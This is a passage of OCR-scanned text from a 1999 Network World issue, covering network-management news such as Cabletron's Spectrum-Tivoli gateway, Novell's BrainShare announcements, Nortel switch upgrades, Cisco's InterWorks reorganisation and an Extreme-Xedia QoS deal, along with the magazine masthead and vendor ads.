solved  this  week  when  Cable¬ 
tron  unveils  a  gateway  be¬ 
tween  its  Spectrum  manage¬ 
ment  software  and  Tivoli’s 
software. 

The  gateway  is  software  that 
sends  alerts  from  one  platform 
to  the  other.  Network  managers 
choose  either  Spectrum  or  the 
Tivoli  Enterprise  Console  as 
their  primary  management  sta¬ 
tion  and  receive  alerts  from  the 
other  platform. 

Though  the  concept  is  sim¬ 
ple,  there  has  been  very  little 
of  this  kind  of  integration 
among  the  major  platforms. 
Cabletron  says  it  plans  to 
develop  similar  gateways  from 
Spectrum  to  Computer  Associ¬ 
ates’  Unicenter  and  to  Hewlett- 
Packard’s  OpenView. 

While  useful,  the  gateway  is 
only  a  first  step  toward  real 


integration,  says  John  Mc¬ 
Connell,  president  of  Mc¬ 
Connell  Associates  in  Boulder, 
Colo.  If  Tivoli  software  could 
use  the  event-correlation  capa¬ 
bilities  of  Spectrum,  for  in¬ 
stance,  that  would  be  more 
useful,  McConnell  says. 

“Over  the  years,  we’ve  had 
a  lot  of  demand  for  the  two 
platforms  to  communicate,” 
says  Jeff  Ghannam,  director  of 
engineering  for  Cabletron’s 
Spectrum  business  unit.  He 
estimates  that  hundreds  of 
Spectrum’s  users  also  have 
Tivoli  software  installed. 

The  demand  for  greater 
interoperability  among  man¬ 
agement  software  tools  has 
reached  critical  mass  with 
the  creation  of  the  Common 
Information  Model.  CIM  is  a 
standard  being  developed  to 
represent  systems  and  net¬ 
work  management  informa¬ 
tion  in  a  common  format,  so 
different  tools  can  share  the 
information. 

Most  management  vendors, 
including  Cabletron  and  Tivoli, 
have  said  they  would  support 
CIM.  But  Cabletron  says  it 
developed  the  gateway  be¬ 
cause  CIM  isn’t  quite  ready 


yet.  Indeed,  industry  watchers 
say  it  will  be  a  year  or  more 
before  CIM  is  implemented 
widely  enough  to  be  useful. 

Both  Cabletron  and  Tivoli’s 
software  can  receive  alerts 
from  the  other  platform, 
acknowledge  the  alert  and 
clear  it  when  the  problem  has 
been  resolved.  Cabletron 
developed  the  bulk  of  the 
gateway  software,  though 

Free  flow  of  information 


Tivoli  provided  some  software 
and  expertise,  Ghannam  says. 
Cabletron  says  later  this  year  it 
will  introduce  products  with 
Syllogic  to  further  integration 
between  Spectrum  and  Tivoli. 

The  gateway  is  available 
today  from  Cabletron  for 
$5,000.  It  runs  on  Windows  NT 
and  Sun  Solaris,  and  requires 
Spectrum  5.0  or  higher. 

Cabletron:  (603)  332-9400 


New  Cabletron  software  will  let  alarms  and  events  pass  between 
Cabletron  and  Tivoli  management  platforms. 
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Q  Network  devices 
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and  Spectrum 
workstations. 
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O  Data  is  exchanged 
between  the  Spectrum 
and  Tivoli  workstations, 
giving  each  station  a 
complete  status  of  the 
network. 


NetworkWorid 


Editor  in  Chief:  John  Gallant 
Editor:  John  Dix 

NEWS 

News  Editor:  Doug  Barney 
News  Director:  Bob  Brown 
Associate  News  Editor:  Michael  Cooney 
(508)  875-6400 

NETWORK  WORLD  FUSION 

Online  Editor:  Adam  Gaffin,  (508)  820-7433 
Senior  Online  Reporter:  Sandra  Gittlen, 
(508)  820-7431 

Staff  Writer:  Jason  Meserve,  (508)  820-7567 
Online  Copy  Editor:  Sheryl  Hodge 
(508)  820-7532 

INFRASTRUCTURE 

Senior  Editor: 

Christine  Burns,  (508)  820-7456 
Senior  Editor:  John  Cox, 

(978)  834-0554,  Fax: (978)  834-0558 
Senior  Editor:  Jeff  Caruso, 

(650)  358-4515,  Fax  (650)  358-4518 
Senior  Editor:  Deni  Connor, 

(512)  345-3850,  Fax: (512)  345-3860 
Senior  Editor:  Jim  Duffy,  (508)  820-7525 
Senior  Writer:  Marc  Songini,  (508)  820-7484 

CARRIERS  &  ISPs 

Senior  Editor:  David  Rohde 
(202)  879-6758;  Fax: (202)  347-2365 
Senior  Editor:  Tim  Greene,  (508)  820-7422 
Senior  Editor:  Denise  Pappalardo 
(202)  879-6745;  Fax:  (202)  347-2365 

ENTERPRISE  APPLICATIONS 

Senior  Editor:  Robin  Schreier  Hohman, 
(203)  459-9948 

Senior  Editor:  Ellen  Messmer. 

(202)  879-6752,  Fax: (202)  347-2365 
Senior  Editor:  Paul  McNamara, 

(508)  820-7471 

COPY  DESK/LAYOUT 

Managing  Editor:  Charley  Spektor 
Copy  Chief:  Melissa  Shaw 
Copy  Editors:  Lisa  Kaplan  Adase, 

John  Dooley,  Denise  Dubie,  Melissa  Reyen 
News  Layout  Editor:  Lisa  Kaplan  Adase 

ART 

Design  Director:  Rob  Stave 
Associate  Art  Director:  Tom  Norton 
Deputy  Art  Director:  Allyson  Nickowitz 
Assistant  Art  Director:  Paul  M.  Lee 
Graphic  Designer:  Lisa  Hovsepian 
Online  Designer:  John  Fischer 
Infographics  Researcher:  Phil  Hochmuth 

FEATURES 

Features  Editor:  Paul  Desmond, 

(508)  820-7419,  Fax: (508)  820-1103 
Managing  Editor,  Features:  Amy  Schurr, 
(508)  820-7485,  Fax:  (508)  820-1103 
Features  Reporter:  Neal  Weinberg, 

(508)  820-7449,  Fax: (508)  820-1103 
Associate  Features  Editor:  Susan  Collins, 
(508)  820-7413.  Fax: (508)  820-1103 
Associate  Features  Editor:  Suzanne  Caspar, 
(508)  820-7489,  Fax: (508)  820-1103 

REVIEWS 

Test  Center  Director:  Lee  Schlesinger 
(508) 820-7416 

Reviews  Editor:  Ann  Sullivan  (508)  820-7408 

Test  Alliance  Partners:  Mark  Gibbs.  Gibbs  &  Co.; 
Joel  Snyder,  Opus  One;  Dennis  Williams. 

ProductReviews.com;  John  Bass. 
Centennial  Networking  Labs:  Steve  Bell, 
Silicon  Valley  Networking  Laboratory; 

Bob  Currier,  Duke  University 
Contributing  Editors:  Daniel  Briere. 

Mark  Gibbs,  James  Kobielus,  Mark  Miller 


SIGNATURE  SERIES 

Executive  Editor:  Beth  Schultz, 

(773)  283-0213,  Fax: (773)  283-0214 
Senior  Editor:  Julie  Bort  (970)  468-2864, 
Fax:  (970)  468-2348 
Art  Director:  Tom  Norton 
Deputy  Art  Director:  Allyson  Nickowitz 
Senior  Copy  Editors:  Melissa  Reyen. 
Denise  Dubie 

Editorial  Operations  Manager: 

Cheryl  Crivello 

Office  Manager.  Editorial:  Glenna  Fasold 
Editorial  Assistant:  Pat  Josefek 
Research  Assistant:  Deidre  Massenberg 


10  Network  World  March  29,  1  999  www.nwfusion.com 


How  can  you  reduce  the  cost  of  WAN  downtime? 


Make  it  Visual 


NETWORKS 


THE  WAN  SERVICE  LEVEL  MANAGEMENT  LEADER 


Free  Infonetics  White  Paper  "Cost  of  WAN  Downtime 


www.  visual  networks.com/nw 


e  1999  Visual  Networks,  Inc.  Visual  Networks  is  a  registered  trademark  of  Visual  Networks. 


LANCE  CLAYTON/MPG 


News 


Novell  is  pushing  to  pop  out  of  the  LAN 


BY  CHRISTINE 
BURNS  AND 
PAUL  MCNAMARA 

SALT  LAKE  CITY  —  Novell 
is  thinking  outside  of  its  tradi¬ 
tional  red  box. 

The  company  last  week 
demonstrated  a  consumer- 
oriented  Web  application  and 
talked  up  its  revamped  elec¬ 
tronic  commerce  strategy  at 
its  fifteenth  annual  BrainShare 
conference.  Additionally,  the 
company  announced  it  will 
bundle  IBM’s  Java-application 
server  with  NetWare  and  intro¬ 
duced  an  Internet  caching 
technology  targeted  at  large 
enterprise  networks  and  ISPs. 

“We  wanted  to  pop  out  of 
the  LAN”  says  Mike  Sheridan, 
Novell’s  vice  president  of 
strategic  relations. 

Sheridan  left  Sun  and  last 
May  joined  Novell  and  is  the 
driving  force  behind  a  new 
technology  called  digitalme. 
Still  under  development,  digi¬ 
talme  is  a  Novell  Directory 
Services  (NDS)-based  technol¬ 
ogy  that  gives  Internet  users 
control  over  their  personal 
information  while  navigating 
the  World  Wide  Web. 

Essentially,  users  decide 
what  information  stored  in  an 
NDS  database  is  available  to 
anyone  else. 

Novell’s  revamped  e-com¬ 
merce  plan  —  called  iChain  — 
also  hinges  on  NDS.  Company 
officials  say  they  are  working 
on  a  set  of  NDS-enabled  ser¬ 
vices  that  will  help  corporate 
customers  build  their  own 
e-commerce  storefronts.  Most 
of  Novell’s  e-commerce  ser- 


Telcordia  Technologies  is 
the  new  name  of  what 
well-known  network 
industry  organization? 
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Novell  CEO  Schmidt  says  new 
digitalme  technology  will  "put  a 
human  face  on  networking." 

vices  will  be  written  in  Java.The 
first  iChain  product  will  be  a 
Web  publishing  system  referred 
to  internally  at  Novell  as 
Magellan. 

Magellan  tracks  when  any 
document  is  posted  and 
changed  on  a  Web  site, 
explains  Dave  Shirk,  vice  pres¬ 
ident  of  product  management 
at  Novell.  Using  NDS,  a  com¬ 
pany  can  control  who  has  the 
right  to  post  and  edit  docu¬ 
ments.  Magellan  is  expected  to 
be  available  this  summer. 

To  help  its  corporate  cus¬ 
tomers  build  Internet  applica¬ 
tions  on  top  of  its  network 
operating  system,  Novell 
announced  it  would  bundle 
IBM’s  WebSphere  Application 
Server  with  NetWare. The  stan¬ 
dard  edition  of  IBM’s  product 
includes  a  Java  servlet  run¬ 
time  engine,  high-performance 
database  connectors  and  tools 
for  managing  the  Java  servlets. 
Additionally,  WebSphere  in¬ 
cludes  the  IBM  HTTP  Server, 
which  is  an  Apache  Web  server 
that  IBM  has  tweaked. 

In  an  Internet-related  an¬ 
nouncement,  Compaq  and 
Dell  say  they  have  licensed 
Novell’s  Internet  Caching 
System  OCS).  ICS  is  a  high- 
performance  cache  file  system 
with  an  embedded  NetWare 
kernel.  Dell  and  Compaq  will 
each  build  a  line  of  caching 
appliances  based  on  ICS.  The 
appliances  will  give  ISPs  and 
large  corporate  customers 
an  inexpensive  way  to  serve 
up  Web  content  faster.  Novell 
claims  that  one  of  these 
ICS-based  appliances  sitting 
in  front  of  a  corporate  Web 


server  can  increase  site  per¬ 
formance  tenfold. 

Dell  will  unveil  a  series  of 
ICS  appliances  based  on  the 
Dell  PowerEdge  line  of  servers 
in  May.  The  boxes  will  start  at 
$4,500.  Compaq  gave  no  spe¬ 
cific  product  plans. 

The  hard-core  enterprise 
network  folks  in  attendance  at 
BrainShare  questioned  what 
Novell’s  new  Internet  initiatives 
will  mean  for  their  networks. 

For  example,  the  standing- 
room-only  crowd  present  for 
CEO  Eric  Schmidt’s  keynote  last 
Monday  hooted  and  hollered 
when  engineers  demonstrated 
embedded  HTTP  support  in 
NetWare,  which  will  give  an 
administrator  granular  control 
over  the  server  via  a  Web 
browser.  But  the  crowd  was 
largely  silent  as  another  engi¬ 
neer  walked  through  the  digi¬ 
talme  demonstration. 


“This  digitalme  stuff  might 
be  interesting  at  home,  but  I’m 
not  sure  I  want  to  give  that 
kind  of  control  to  every  user 
on  my  network,”  says  Carl 
Hopkins,  director  of  technical 
services  for  the  county  of 
Santa  Barbara  in  California. 

The  county  currently  uses 
NDS  to  tie  2,500  end  users  to 
more  than  100  NetWare 
servers,  10  NT  boxes  and  an 
IBM  mainframe. 

Digitalme  will  spark  “big 
issues  with  management 
acceptance,  security  accep¬ 
tance  and,  ultimately,  end- 
user  acceptance,”  says  Peter 
Kahl,  a  network  engineer  for 
U.S.  Bancorp  in  Portland, 
Ore.,  which  has  300  Net¬ 
Ware  servers  and  more  than 
20,000  users. 

Novell’s  Sheridan  contends 
that  digitalme  could  be 
used  inside  corporate  net¬ 


works  and  to  facilitate 
business-to-business  e-com- 
merce.  Novell’s  first  products 
based  on  this  technology 
will  likely  be  targeted  for 
business  use. 

But  in  spite  of  digitalme’s 
overall  end-user  bent,  users 
were  pleased  that  Novell  was 
looking  for  more  innovative 
ways  to  use  NDS. 

“The  directory  is  the  way 
to  go,  at  least  in  our  environ¬ 
ment,  and  I  can’t  see  why  it 
wouldn’t  be  elsewhere,”  says 
Bill  Fritsch,  network  adminis¬ 
trator  for  Mack  Trucks  in 
Allentown,  Pa. 

“Microsoft  thinks  so,  too, 
because  they’re  betting  a  lot 
on  Active  Directory.”  3 


Read  more  on 
BrainShare: 
Page  62. 


Reporter's  Notebook 

BRAINSHARE  ’99:  SALT  LAKE  CITY 

Novell  show  displays  a  blushing  CEO,  signs  of  recovery. 


Red-faced  Schmidt 

How  well  is  the  Novell  comeback  going  in  the 
eyes  of  its  best  customers?  Well,  Savior/CEO  Eric 
Schmidt  enjoyed  a  raucous  standing  ovation  last 
week  when  he  took  the 
stage  for  his  BrainShare 
keynote.  Previous  Novell 
leaders  considered  key¬ 
notes  successful  if  they 
weren't  pelted  with  fruit. 

"You're  embarrassing 
me,"  Schmidt  blushed  as 
the  faithful  hooted  and 
hollered. 

Once  the  din  had 

quieted,  a  lone  admirer  shouted,  "We  love  you, 
Eric!" 

"That's  even  worse,"  replied  Schmidt,  his  face 
by  then  a  new  shade  of  Novell  red. 

Proof  in  numbers 

Prefer  more  concrete  evidence  of  the  Novell  turn¬ 
around?  Try  these  tidbits:  In  the  almost  eight 
months  since  being  released,  NetWare  5  has  been 
adopted  at  a  rate  two-and-a-half  times  faster  than 
NetWare  3  or  NetWare  4,  the  company  claims. 
Novell  also  expects  Version  5  to  account  for  more 
than  half  of  the  company's  revenue  this  year. 

It's  all  downhill  from  here 

The  official  conference  T-shirt  read:  "BrainShare 


'99 . . .  The  Networking  Conference  For  The 
Hardcore."  Of  course,  quite  a  few  of  the  hard 
core  were  seen  lugging  skis  along  with  their  lap¬ 
tops,  but  let's  not  get  anyone  in  trouble  by  nam¬ 
ing  names. 

Old  friends 

A  tour  of  Novell's  first  ever  BrainShare  partner 
pavilion  yielded  all  the  familiar  logos:  Compaq, 
IBM,  Dell,  Oracle  and  the  like.  But  tucked  in  the 
very  back  row  of  the  hall  was  one  unexpected 
guest.  Former  Novell  legal  foe  Timpanogas 
Research  Group  pitched  camp  there  to  show  off 
its  version  of  the  NetWare  file  system  that  runs  on 
Windows  NT  and  OpenLinux. 

Last  year  at  this 
time,  the  founders  of 
this  Utah-based 
start-up  were  duking 
it  out  in  court  with 
Novell  over  who  had 
intellectual  property 
rights  to  the  ad¬ 
vanced  clustering 
technology  Timpanogas'  founders  developed  while 
employed  as  Novell  engineers.  Novell  won  the 
case  last  summer,  forcing  Timpanogas  to  exclude 
clustering  from  its  product  plans.  Nice  to  see  no 
one's  holding  a  grudge  ...  at  least  not  in  public. 

—  Paul  McNamara  and  Christine  Bums 
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Nortel  defends  Layer  3  forklift  upgrade  requirements 


BY  JIM  DUFFY 

SANTA  CLARA,  CALIF.  —  Nortel 
Networks  is  defending  a  plan  that 
requires  users  to  undergo  a  significant 
hardware  upgrade  to  gain  Layer  3  capa¬ 
bilities  on  its  new  IAN  switch. 

Nortel’s  recently  announced  Accelar 
8000  is  a  six-  and  10-slot  modular 
10/100  and  Gigabit  Ethernet  switch  for 
enterprise  wiring  closets  and  core 
backbones.  It  will  ship  in  April  with 
Layer  2  switching  modules  (ATU  March 
22,  page  24). 

Layer  3  modules  will  ship  in 
October  and  will  require  users  to 

replace  the 
Layer  2  mod¬ 
ules  if  they 
want  what 
Nortel  refers  to 
as  a  “full-fea¬ 
tured”  routing 
switch,  says 
Basil  Alwan, 
vice  president 
and  general 
manager  of 
Nortel’s  enter¬ 
prise  products 
division.  The 
Accelar  8000 
chassis  and 
backplane,  meanwhile,  can  be  spared. 

But  Alwan  says  users  are  not  likely 
to  swap  out  all  Layer  2  modules  for 
Layer  3  - The  Layer  2  Accelar  8000  will 
function  as  a  chassis-based  wiring 
closet  switch  at  the  network  edge,  link¬ 
ing  workgroups  to  a  Layer  3  Accelar 
8000  or  Accelar  1200  —  Nortel’s  first- 
generation  routing  switch  —  in  the 
network  core. 

Still,  users  do  not  like  the  prospect 
of  having  to  forklift  modules  out  of 
the  Accelar  8000  chassis  if  they  want 
Layer  3,  whether  it  be  at  the  edge  or 
core  of  their  networks. 

“I  can’t  say  that  I’m  happy  about 
that,”  says  Phil  Freyer,  manager  of 
global  network  architecture  at 
Beckton  Dickinson  in  Franklin  Lakes, 
N.J.  “Anytime  I  have  to  go  back  into 
closets  or  into  my  backbone  and 
swap  modules,  it’s  not  the  best  thing 
in  the  world  for  me  to  have  to  do.” 

Nortel  is  not  alone  in  requiring  users 
to  undergo  a  substantial  hardware 
upgrade  for  a  full  routing  switch.  Users 
of  3Com’s  CoreBuilder  9000  will  face 
the  same  line  card  swap-out  situation 
when  3Com  ships  Layer  3  modules  for 
that  switch  later  this  year.  Users  of 
Cisco’s  Catalyst  5500,  meanwhile,  will 
have  to  upgrade  to  a  whole  new  switch 
chassis  —  the  Catalyst  8500  —  if  they 
want  full-featured  routing  at  the  line 
card  level  in  the  network  core. 

The  alternative  to  a  hardware 
upgrade  is  a  software  upgrade.  Extreme 


Layer  3  modules  for 
Nortel's  Accelar  8000 
will  ship  this  fall. 


Networks,  for  example,  offers  a  soft¬ 
ware  “key”  on  its  Summit  switches  that 
lets  users  turn  on  Layer  3  features 
when  they  need  them,  says  George 


Prodan,  vice  president  of  marketing  at 
Extreme. 

Nortel’s  Accelar  8000  Layer  3  mod¬ 
ules,  which  will  carry  the  brand  name 


Accelar  8600,  will  cost  about  $1,000 
per  10/100  port, Alwan  says.The  layer  2 
Accelar  8100  modules  cost  about  $300 
per  10/100  port.  3 
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Blue  Martini  ships  fancy  e-commerce  concoction 


BY  ELLEN  MESSMER 

SAN  MATEO,  CALIF.  —  When  start¬ 
up  Blue  Martini  Software  ships  its 


E-Merchandising  System  this  week. 
Levi  Strauss  &  Co.  will  be  at  the  front 
of  the  line  to  buy  it. 

The  famous  maker  of  blue  jeans 


plans  to  install  the  E-Merchand- 
ising  System  because  it  will  help 
personalize  users'  online  clothes 
shopping,  says  Bob  Knowles.  Levi 


Strauss'  project  director  of  e-com¬ 
merce  in  the  U.S. 

Blue  Martini's  system  boasts  five 
Java-based  software  modules  that 
track  and  analyze  what  people  buy 
from  online  catalogs  and  can  help 
predict  other  products  the  customer 
may  want. 

The  half-million  dollar  E-Merchand- 
ising  System  lets  sellers  categorize 
goods,  such  as  mens  or  children's 
wear,  and  present  specific  assortments 
to  the  shopper  based  on  elements 
such  as  a  shopper's  zip  code. 

For  example,  with  this  infor¬ 
mation,  companies  could  offer 
shoppers  in  Alaska  warmer  clothes 
than  they'd  offer  customers  in 
Hawaii. 

The  Blue  Martini  software  can  also 
track  an  individual's  preferences. 

'We  have  four  months  of  e-com¬ 
merce  activity  under  our  belts  now, 
and  as  y  ou  learn  about  your  cus¬ 
tomers.  you  can  go  back  to  them  with 
items  you  think  they'd  want," 
Knowles  say  s. 

E-Merchandising  System  still  needs 
some  fine-tuning.  Knowles  points 
out.  But  once  it's  integrated  with 
Levi  Strauss'  mainframe  this  summer, 
it  should  be  able  to  do  sales  updates 
automatically,  a  process  that  is  now 
largely  manual 

E-Merchandising  System's  five  mod¬ 
ules  include: 

•  Webstore  Operations  storefront 
software,  which  handles  credit  card 
authorization,  tax  calculation  and  the 
shopping  basket  function. 

•  Customer  Management  Module, 
which  records  a  customer's  transac¬ 
tion  history. 

•  Merchandise  Management  Mo¬ 
dule.  a  tool  that  lets  managers  change 
the  merchandise  dynamically  based 
upon  pre-established  rules. 

•  A  data-mining  took 

•  Micro  Marketing  Module.  This 
is  the  'secret  sauce  of  Blue  Martini." 
claims  Bill  Evans,  the  start-up  s  vice 
president  of  marketing,  because  it 
can  identify'  statistical  patterns  in 
sales  data. 

This  information  gives  managers 
a  marketing  rule  so  they  can 
assign  assortments  of  goods  to  cus¬ 
tomer  segments. 

E-Merchandising  System  will 
ship  this  week  with  support  for 
Microsoft's  SQL  Server  and  M  in- 
dows  XT. 

On  April  30.  Blue  Martini  expects  to 
have  a  version  tor  Sun  Sparc  gear  that 
supports  an  Oracle  database. 

'It'll  be  mix  and  match,  so  you'll  be 
able  to  run  the  NT  version  of  the 
software  with  an  Oracle  database." 
Evans  say's. 

Blue  Martini:  3~BB-l00 
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Transition  Networks'  parent 
company,  Communications 
Systems,  has  announced  a  deal 
to  purchase  Transition's  competi¬ 
tor,  LANart,  and  merge  the  two 
companies.  Both  Transition  and 
LANart  make  media  converters, 
which  send  data  traversing  one 
kind  of  copper  or  fiber-optic  line 
onto  another.  The  deal  is  expect¬ 
ed  to  close  within  a  month. 

Terms  of  the  deal  were  not  dis¬ 
closed. 

RedCreek  Communications 
next  month  will  ship  a  virtual  pri¬ 
vate  network  box  designed 
specifically  for  telecommuters. 

Personal  Ravelin  is  a  stand¬ 
alone  box  with  two  Ethernet  ports 
—  one  to  connect  to  the  remote 
PC  and  the  other  to  connect  to  an 
ISDN  terminal  adapter,  cable 
modem  or  digital  subscriber  line 


RedCreek's  Personal  Ravelin 


modem.  Personal  Ravelin  en¬ 
crypts  at  up  to  T-1  speeds  and 
supports  the  emerging  IP  Security 
authentication/  encryption  stan¬ 
dard.  The  box  establishes  secure 
connections  over  the  Internet 
with  other  RedCreek  Ravelin 
devices.  Personal  Ravelin  costs 
S500  to  S700,  depending  on  the 
quantity  purchased. 

RedCreek:  (510)  745-3900 


Addonics  Communications 
has  released  a  newthin-client 
terminal,  the  ART  2000,  with  sup¬ 
port  for  the  new  features  found 
in  Citrix  Systems'  MetaFrame  1.8. 
The  ART  2000  comes  with  a 
lOBase-T  Ethernet  interface  and 
up  to  1024-by-768  resolution. 

Pricing  is  expected  to  be  $499. 

Addonics:  (510)  438-5230 


Cisco  reshapes  InterWorks  division 

Legacy  business  unit  to  support  other  company  divisions,  will  stop  building  new  SNA/IP  tools. 


BY  MARC  SONG  INI 

RESEARCH  TRIANGLE  PARK,  N.C.  — 
Cisco  is  reinventing  its  InterWorks 
Business  Unit  (IBU)  because  the  com¬ 
pany  believes  there  are  plenty  of  quali¬ 
ty  products  already  in  the  SNA-to-IP 
market. 

The  router  giant  formed  the  unit 
about  five  years  ago  to  offer  SNA-to- 
IP  connectivity  products,  pitting  it 
squarely  against  IBM’s  Networking 
Hardware  Division  (NHD). 

Now  executives  say  the  division  will 
stop  inventing  new  tools  for  the  legacy 
SNA  market  but  will  continue  upgrad¬ 
ing  the  ones  it  has.  And  what  will  the 
IBU’s  engineers  work  on  with  all  the 
extra  time?  They’ll  help  out  the  rest  of 
Cisco. 

One  analyst  agrees  that  Cisco’s  SNA 
job  is  largely  done.  “IBU  shouldn’t  even 
be  in  existence,”  says  Frank  Dzubeck, 
principal  at  Communications  Network 
Architects,  a  Washington,  D.C.  consul¬ 
tancy.  The  division  has  succeeded  in 
putting  out  a  complete  offering  of  SNA- 
IP  connectivity  products  and  could 
now  vanish  inside  the  parent  company, 
as  was  originally  intended,  he  says. 

Indeed,  Dzubeck  says,  Cisco  is  just 
now  publicly  acknowledging  what  has 


Cisco’s  Wellman  sees  SNA  background 
helping  convergence. 


long  been  going  on. 

Over  the  past  year,  teams  of  IBU’s 
engineers  have  moved  from  legacy 
products  to  work  on  projects  for  other 
parts  of  the  company. 

For  instance,  the  division’s  engineers 
are  trying  to  add  quality-of-service 
(QoS)  features  to  packet  switching 
devices  for  voice,  video  and  data  traffic, 
says  Selby  Wellman,  general  manager  of 
the  IBU,  which  is  now  called 
InterWorks  Business  Division. 

Some  engineers  are  working  on  cus¬ 


tom  chips  that  will  boost  the  perfor¬ 
mance  of  devices  made  by  other  Cisco 
divisions;  others  are  working  on  net¬ 
work  management  and  WAN  switching 
products. 

The  SNA  background  could  help  the 
effort  to  bring  QoS  to  voice  packets, 
says  Randall  Campbell,  product  line 
manager  at  Cisco. 

Campbell  says  the  division’s  engi¬ 
neers  are  looking  at  SNA  techniques, 
such  as  custom  queuing,  prioritization 
and  bandwidth  reservation,  as  well  as 
how  to  run  data  on  lower  speed  lines 
for  voice  traffic. 

The  division’s  SNA  engineers  have 
an  edge  in  the  voice  market,  Dzubeck 
says.  SNA  and  voice  technology  have  a 
common  requirement  in  that  their  ses¬ 
sions  demand  unbroken  end-to-end 
connectivity. 

Victim  of  its  own  success? 

Cisco  owns  about  80%  of  the  market 
for  routers  in  SNA  networks,  Wellman 
claims,  which  translates  to  about  S1.7 
billion. 

Armed  with  1,000  employees  and 
boasting  a  growing  campus  —  four  build¬ 
ings  with  three  more  on  the  way  —  in 
techno-heavy  Research  Triangle  Park,  the 
See  Cisco,  page  16 


Extreme,  Xedia  team  for  quality  of  service  across  boundaries 

Extreme  will  sell  LAN  and  WAN  gear  with  QoS  interoperability. 


BY  JEFF  CARUSO 

In  an  early  step  toward  unifying  IP- 
based  quality  of  service  (QoS) 
across  LANs  and  WANs,  Extreme 
Networks  and  Xedia  last  week  showed 
how  their  products,  which  come  from 
both  sides  of  the  network  fence,  can 
share  QoS  data. 

And  with  an  agreement  that  allows 
Extreme  to  sell  Xedia’s  Access  Point 
WAN  routers,  customers  can  buy  both 
types  of  products  in  one  place. 

Xedia’s  WAN  routers  and  Extreme’s 
LAN  and  Layer  3  switches  support  QoS 
in  different  ways,  but  both  companies 
have  ensured  that  their  QoS  parameters 
will  map  easily  to  the  other’s  systems. 
The  companies  say  further  QoS  inte¬ 


gration  may  be  in  the  works,  but  nei¬ 
ther  would  give  specifics. 

Industry  watchers  say  the  sales 
agreement  is  a  good  way  to  start  elimi¬ 
nating  users’  confusion  about  QoS 
because  it  presents  customers  with  a 
unified  view  of  how  QoS  should  be 
defined. 

“There  haven’t  been  clear  definitions 
of  QoS  from  vendors,”  says  Mike 
McConnell,  director  of  enterprise  man¬ 
agement  and  LAN  programs  at  Info- 
netics  Research  in  San  Jose. 

QoS  is  a  set  of  parameters  that  define 
the  performance  and  quality  of  net¬ 
work  transmissions. 

A  switch  or  router  that  guarantees  a 
level  of  performance  can  do  so  in  a 
number  of  ways,  such  as  providing  a 


Xedia's  WAN  router  can  share  QoS  infor¬ 
mation  with  Extreme's  LAN  gear. 


minimum  or  maximum  amount  of 
bandwidth,  assigning  priorities  to  dif¬ 
ferent  rvpes  of  traffic,  or  limiting 
delays. 

These  factors  are  important  in  mak¬ 
ing  sure  voice  or  critical  data  traffic 
gets  across  a  network  in  a  timely  way. 

“If  the  mail  is  slow,  that's  less  impor¬ 
tant  than  database  transactions.'  says 
Will  Layton,  vice  president  of  IS  at 
City 'Search  in  Pasadena.  Calif. 

The  company  currently  uses 

See  QoS  oaae  15 
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QoS. 

continued  from  page  15 

Extreme’s  LAN  switches  and  will  eval¬ 
uate  the  Xedia  gear  to  prioritize  and 
encrypt  database  transactions. 

Unfortunately,  every  vendor  has  its 
own  ideas  about  which  QoS  parame¬ 
ters  are  important  and  how  they 
should  be  implemented. 

The  differences  are  especially  pro¬ 
nounced  in  LAN  equipment  com¬ 
panies  vs.  WAN  equipment  compa¬ 
nies,  McConnell  points  out. 

While  users  have  been  patiently 
waiting  for  vendors  to  come  to  an 
agreement,  that  patience  is  wearing 
thin,  he  says. 

“Now  the  vendors  have  to  work  on 
delivering  easy-to-understand,  uniform 
QoS  solutions,”  McConnell  says.  The 
Extreme-Xedia  agreement  helps  them 
to  do  that. 

There  are  some  differences  in  the 
two  companies’  approaches,  but  the 
partners  say  these  differences  are  easy 
to  overcome. 


Cisco, 

continued  from  page  15 


unit  may  indeed  have  the  muscle  to 
back  up  its  mandate. 

The  engineers  who  crafted  the 
IBU’s  token-ring  switching  and  other 
legacy  products  will  give  the  com¬ 
pany  the  edge  in  other  markets,  Cisco 
hopes. 

There  are  two  product  areas  in  the 
SNA  legacy  market  where  Cisco  hasn’t 
been  strong:  SNA  host  and  client  soft¬ 
ware.  And  those  are  market  segments 
in  which  other  vendors  are  dominant. 

Cisco  would  rather  push  into  new 
ground. 

But  all  this  doesn’t  mean  Cisco  is 
pulling  away  from  the  SNA-to-IP  con¬ 
vergence  market  —  worth  $4  billion 
to  $10  billion,  Wellman  says. 

He  lays  claim  to  a  strong  techno¬ 
logical  lineup. 

“We’ve  built  up  one  of  the  top  engi¬ 
neering  teams  in  the  company,” 
Wellman  says,  citing  its  work  on  hard¬ 
ware  and  software  and  on  various 
technologies,  such  as  the  InterWorks 
Operating  System,  QoS  and  custom 
Application  Specific  Integrated 
Circuits.  3 
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For  example,  Extreme’s  products  let 
users  give  different  types  of  traffic  a 
guaranteed  percentage  of  the  total 
bandwidth  available,  while  Xedia’s 
products  let  users  assign  specific 
bandwidth  amounts. 

Extreme’s  products  have  QoS  pro¬ 


files  for  virtual  LANs  (VLAN)  support¬ 
ed  by  their  switches. 

With  the  right  configuration,  the  IP 
addresses  in  the  VLANs  can  be 
mapped  to  IP  address  classes  in 
Xedia’s  class-based  queuing  system, 
which  ranks  classes  of  traffic  in  a 


hierarchy. 

Xedia’s  products  can  also  map 
VLANs  to  virtual  private  network  tun¬ 
nels,  using  the  IP  Security  protocol  for 
encryption,  and  they  can  mark  pack¬ 
ets  with  a  certain  priority  for  traveling 
over  a  WAN.  3 


Introducing  our  newest 
solutions  for  end-to-end 
network  availability 

Storms,  blown  fuses,  backhoes... 
the  causes  of  power  problems 
are  numerous,  and  the  results 
painful:  data  loss  and  damage 
to  your  expensive  hardware. 
When  power  fails,  APC  prevails 
with  award-winning  surge 
suppressors,  battery  backup, 
security  enclosures  and 
management  software  to 
deliver  end-to-end  reliability, 
guaranteed.  So  ask  your 
favorite  reseller  about  APC 


peace  of  mind  or  visit  our 
Web  site  today  for  an  APC 
solution  for  you! 
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computers 


solutions 
starting  at  $19.95 

■  Complete  AC,  telephone/modem 
surge  protection  for  notebooks 

■  Multi-voltage  design  for  use  worldwide 

■  Lifetime  product  warranty 


Desktop 


solutions 
starting  at  $99 

■  Surge  protection  and  battery 
backup  for  your  computer  and 
internet  connection 

■  Data-saving  software  provides 
warnings  and  safe  shutdown 

■  User-replaceable  batteries  provide 
3-6  years  of  reliable  service 

■  "Best  in  Class"  longest  runtime 
guarantee  (5-40  minutes) 

■  Complete  lightning  and  surge  protec¬ 
tion  backed  by  a  $25,000  guarantee 


Servers 


solutions 
starting  at  $325 


■  Intelligent  Battery  Management  with 
